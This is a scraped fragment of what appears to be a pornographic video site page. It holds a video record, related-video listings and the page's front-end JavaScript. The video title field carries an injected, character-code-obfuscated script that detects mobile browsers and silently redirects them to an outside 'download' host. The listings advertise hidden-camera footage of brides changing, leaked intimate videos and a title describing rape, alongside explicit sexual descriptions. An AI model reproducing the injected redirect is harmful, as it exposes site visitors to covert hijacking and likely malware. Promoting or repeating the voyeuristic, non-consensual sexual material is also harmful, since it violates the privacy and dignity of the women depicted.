</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>2023.9 Último vazamento: Loja famosa de vestidos de noiva instala câmeras de vigilância secretamente; vestido de noiva vira benefício para funcionários; três noivas trocam de vestido ao mesmo tempo, incluindo uma grávida.</title></script></script>
2023.9 Último vazamento: Loja famosa de vestidos de noiva instala câmeras de vigilância secretamente; vestido de noiva vira benefício para funcionários; três noivas trocam de vestido ao mesmo tempo, incluindo uma grávida.","site_id":0,"video_url":"https://2605.v155p.com/20260611/M8YKKguK/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNDJiNzYyNjM5NzljZWIxMWM0NGEzNzM2YWY1NmJkMzEuanBn.cache","duration":"01:16:14","actor":[],"lastmod":1783766805,"rating":"3.0","view_count":439,"description":"Um relatório vazado de setembro de 2023 revela que uma conhecida loja de vestidos de noiva instalou secretamente câmeras de vigilância para filmar noivas trocando de vestido. Pela primeira vez, as câmeras registraram noivas trocando de vestido simultaneamente, incluindo uma mulher grávida.","tag":["atualizado","Último vazamento","Vazar","famoso","vestido de noiva","Loja de vestidos de noiva","monitor","noiva","Primeiro","primeiro","uma vez","Assistente de loja","Bem-estar","Filmando secretamente","ao mesmo tempo","Mulheres grávidas"],"site_url":"175715","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["网爆黑料"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNDJiNzYyNjM5NzljZWIxMWM0NGEzNzM2YWY1NmJkMzEuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"2023.9最新泄密知名婚纱店偷安监控新娘婚纱第一次成了店员福利偷拍三位新娘同时换婚纱还有个孕妇","s_keywords":"2023.9最新泄密知名婚纱店偷安监控新娘婚纱第一次成了店员福利偷拍三位新娘同时换婚纱还有个孕妇","s_description":"2023.9 Último vazamento: Loja famosa de vestidos de noiva instala câmeras de vigilância secretamente; vestido de noiva vira benefício para funcionários; três noivas trocam de vestido ao mesmo tempo, incluindo uma grávida.","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjg3YzcwM2Q2ZTgzNDNmOWM4YmY0ZTVkMTQyMmFhNjAuanBn.cache","vod_id":18966218,"title":"\"Extreme Spy Shot ㊙️ Real Leaks\" - Filmagem no local, em uma casa alugada apertada em uma vila urbana, apresentando uma mulher deslumbrante de cabelo curto oferecendo serviços de forma rotativa, atendendo a todas as idades - e um homem tímido mascarado.","lastmod":"2025-12-14","duration":"00:01:43","url":"/play/18966218.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjA5NzY0OWI5ZGNiM2YzODRlNTg3MGQ1MzhmZDIyYmUuanBn.cache","vod_id":18955358,"title":"\"Último ✅ Boutique 卐 Celebridade da Internet ✅ Vazamento\" Celebridade do Weibo, modelo top de nove cabeças, mulher madura EvE ainda mostra seu rosto, temporada 2 de personalização privada, buraco de mel da deusa do bem-estar Ziwei, pênis falso penetra até o fundo (2)","lastmod":"2025-12-14","duration":"00:05:00","url":"/play/18955358.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGU3ODQ2ODZkYTA3YmVkMGE0MjAzM2JlMDZlMDE3MjYuanBn.cache","vod_id":18926461,"title":"RCTD-279 Duas amigas tiveram uma experiência de torção de mamilos entre duas mulheres.","lastmod":"2025-12-14","duration":"02:00:12","url":"/play/18926461.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzI2MDFjMDJjNGQ1YzMzMmM3MjgxM2RlOGFmNDQ0YWIuanBn.cache","vod_id":18939157,"title":"[Legendas em Chinês] OKS-083 Molhada, Brilhante, Apertada: O Maiô Escolar Sagrado de Shinominami. Aprecie esta garota fofa em seu maiô escolar! Começando com um vídeo gravado secretamente dela se trocando, curta closes de seus seios pequenos, seios grandes, área pubiana depilada, área pubiana com pelos e pelos nas axilas, além de um banho de espuma com loção, sexo em grupo com maiô escolar e ejaculação vigorosa, tudo isso enquanto ela está completamente vestida.","lastmod":"2025-12-14","duration":"01:33:31","url":"/play/18939157.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTY2YmY1MDAxMzE5OWIzMmFlYmNiM2E5ZGU1NmMwNDcuanBn.cache","vod_id":18978539,"title":"[4K] SSIS-631 140 orgasmos intensos! 5000 espasmos! 4000cc de ejaculação de sêmen! Uma beleza voluptuosa e rica, o despertar de Cupido, seu primeiro grande espasmo é especialmente...","lastmod":"2025-03-23","duration":"01:59:40","url":"/play/18978539.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzliNTRkYzg3NTM2ZWQ5MGJkMjg4MTU0NTU1M2E4MWEuanBn.cache","vod_id":18973886,"title":"200GANA-1727 é realmente suave; esta foi a minha primeira vez fotografando. 1078 (Asakura Moe)","lastmod":"2025-03-23","duration":"01:00:15","url":"/play/18973886.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDlmNGU2NjZmNTZmMWYzOTU2MGQzNThlNmEwOTRkMDIuanBn.cache","vod_id":19150858,"title":"Compilação de ejaculações, super longa, assista tudo de uma vez!","lastmod":"2026-03-30","duration":"13:45","url":"/play/19150858.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTU2MTEzMDQzYjY4ZjgyMThjNzlhMzc3OWVlYjliZmUuanBn.cache","vod_id":18953777,"title":"[Vazamento de Sessão Fotográfica Privada de Modelo de Alta Qualidade✅] Garota universitária de aparência mediana, mas com um corpo incrível, fotografada em particular em um hotel. O fotógrafo oferece dinheiro extra mediante algumas regras não ditas. A garota tem pouca experiência sexual e é um pouco inexperiente, precisando de mais desenvolvimento.","lastmod":"2025-12-14","duration":"00:06:07","url":"/play/18953777.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDU1MjlmYTliOTQ4ZDk5ZWRhYTNjNmE0Y2EyZjkxMjMuanBn.cache","vod_id":18966380,"title":"FC2PPV 3215810 é um vídeo chocante, gravado secretamente, que registra a atividade sexual privada de uma mulher de pele clara e seios tamanho F. Embora ela tenha consentido em ser filmada previamente, pareceu confusa.","lastmod":"2025-12-14","duration":"00:52:12","url":"/play/18966380.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNmU3NjVhMDI0MzYyMTVhZmVlNDIxMGMxMzc4NDQ5OTIuanBn.cache","vod_id":19158147,"title":"Encontrar mulheres bonitas e sensuais em hotéis, contatar prostitutas, filmá-las secretamente e ter encontros sexuais com elas.","lastmod":"2026-05-15","duration":"01:04:59","url":"/play/19158147.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2M5NmJkOGE0NzNmNmQyNzYxMDk3NjAxZGY0YWQ2NzAuanBn.cache","vod_id":18969160,"title":"345SIMM-806 Moeka (18) - Uma jovem linda, inteligente e talentosa com incríveis habilidades eróticas♪ [Primeira Edição] Pernas bem abertas","lastmod":"2025-12-14","duration":"01:10:59","url":"/play/18969160.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMTIvNzg2MGU4NDM4ZGMyNTM4NDMzZjgyYWY3ZTQ5M2MzNmUuanBn.cache","vod_id":19057248,"title":"A nona edição da série de filmes de grande sucesso e alta qualidade – estreia com supermodelos de primeira linha.","lastmod":"2025-10-11","duration":"27:07","url":"/play/19057248.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzVlYmVlYmE2ODc5YWVkYTU1NzZkNDM2NDA0MjEzNTEuanBn.cache","vod_id":18991734,"title":"200GANA-2101 Softcore Sério, Primeira Filmagem. Capítulo 1349 Beleza de Nível Ídolo Assina um Contrato!! Enganada e levada para um hotel por um programa de variedades! Embora confusa com o súbito aparecimento do ator, ela ficou extremamente interessada em seu enorme pênis! Usando seu pênis avantajado e técnicas que nunca havia experimentado antes, ela proferiu palavras obscenas enquanto atingia o orgasmo repetidamente!!! 1","lastmod":"2025-03-23","duration":"01:20:23","url":"/play/18991734.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MTQvZjUxN2I5MmY3YzNiOTNiZGRhZmU3MGFiMzViYzhlMWMuanBn.cache","vod_id":19046835,"title":"[Grátis] Vídeo íntimo de celebridade da internet com seios fartos vaza!","lastmod":"2025-08-13","duration":"10:54","url":"/play/19046835.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzU2ZmJkYWZlYzNmOWFlMzNkZjIxNjA4ZjZmOWFjNmMuanBn.cache","vod_id":18992994,"title":"KMHR-077 Primeira ejaculação interna antes de se tornar professora! Perseguição + perseguição reversa, atingindo o clímax um do outro com avidez! 12 ejaculações internas consecutivas, sem retirar o pênis mesmo após a ejaculação! Matsuna Koga 1","lastmod":"2025-12-14","duration":"02:00:01","url":"/play/18992994.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MTcvZDg1YzJlMDdlOTAwZjQ0YzM1OGE2MzZkYjkyNzczMzYuanBn.cache","vod_id":19043326,"title":"A vagina de uma universitária estava tão apertada durante sua primeira vez em um hotel com o namorado que ela gritou de dor com um simples toque.","lastmod":"2025-07-16","duration":"09:48","url":"/play/19043326.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTM0MGJjZjQzYWFiMzBkODY5NGU4YzEwNGEzZmUzZGYuanBn.cache","vod_id":19022481,"title":"O CLUB550 filmou secretamente duas mulheres casadas vizinhas e as violentou até que elas ficassem satisfeitas.","lastmod":"2025-03-24","duration":"03:35:48","url":"/play/19022481.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDUvODA5Y2I0MDk2NzkyMTlmMDlkODgyZDgwYTQ3NDczYWQuanBn.cache","vod_id":19050263,"title":"[Sem censura] Atendente de loja de roupas esportivas desafia ensaio fotográfico pessoal indecente - Erika Hirota 10musume-012723-01","lastmod":"2025-09-04","duration":"01:02:31","url":"/play/19050263.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzAzNTA5MmE3YTcwODJiMDFhMmFkZjZlOTBkZTM4NWYuanBn.cache","vod_id":19012351,"title":"200GANA2246 Softcore sério, primeira vez filmando. 1462 Uma assistente de dentista com fetiche por músculos! Hoje não estou ajudando o médico, estou ajudando o pênis! Vou usar meus seios grandes para limpar meu pênis.","lastmod":"2025-03-24","duration":"01:04:18","url":"/play/19012351.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MDgvODdiYjYzYjEzODMxNGNmY2VmODM1MWU5N2ZlY2E4MDguanBn.cache","vod_id":19028438,"title":"O mais recente filme premium super quente: Duas irmãs de 1,77m de altura, uniformizadas, voando juntas em Xangai.","lastmod":"2025-04-08","duration":"53:59","url":"/play/19028438.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzFhNGY3MGVlMmMyZDI5YTdhODY4MDNiODA0YmYwN2MuanBn.cache","vod_id":18951328,"title":"\"Obra-prima de primeira linha ⭐ Peso-pesado → Benefícios\" Exclusivo para 91 Sr. Bai por se juntar ao fã-clube, sexo com revelação facial perfeita, várias beldades de uniforme contrastando com pequenas vadias extremamente excitadas, arte original sem marca d'água (23)","lastmod":"2025-12-14","duration":"00:01:39","url":"/play/18951328.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNGYyN2MwYzg2NzYxY2Q2MDhlOTM4MTU4YjcxN2RmOWIuanBn.cache","vod_id":18998668,"title":"[122718-821] Teste de Lascívia ~ Câmera Escondida Privada Amor Ansioso ~ Hojo Maki","lastmod":"2025-12-14","duration":"01:16:40","url":"/play/18998668.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDUvNmNjZDYzYzg1ZDQ5NTkwM2EwNGY0M2U4M2VlZDJiM2EuanBn.cache","vod_id":19049552,"title":"[Vazamento do Twitter] Seios lindos e a professora pura Aishi","lastmod":"2025-09-04","duration":"47:25","url":"/play/19049552.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWYxZDRjODcwOTVhYTM5MThjMGNlMzFiZDAzZWEyZTAuanBn.cache","vod_id":18931483,"title":"ATID-179_Uma Espiã Wolf II - Sinal Silencioso de Tristeza - Reira Aizaki Parte 1","lastmod":"2025-12-14","duration":"01:35:28","url":"/play/18931483.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>2023.9 Último vazamento: Loja famosa de vestidos de noiva instala câmeras de vigilância secretamente; vestido de noiva vira benefício para funcionários; três noivas trocam de vestido ao mesmo tempo, incluindo uma grávida.</title></script></script>',
language: 'pt',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Link copiado!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Link copiado!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Link copiado!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}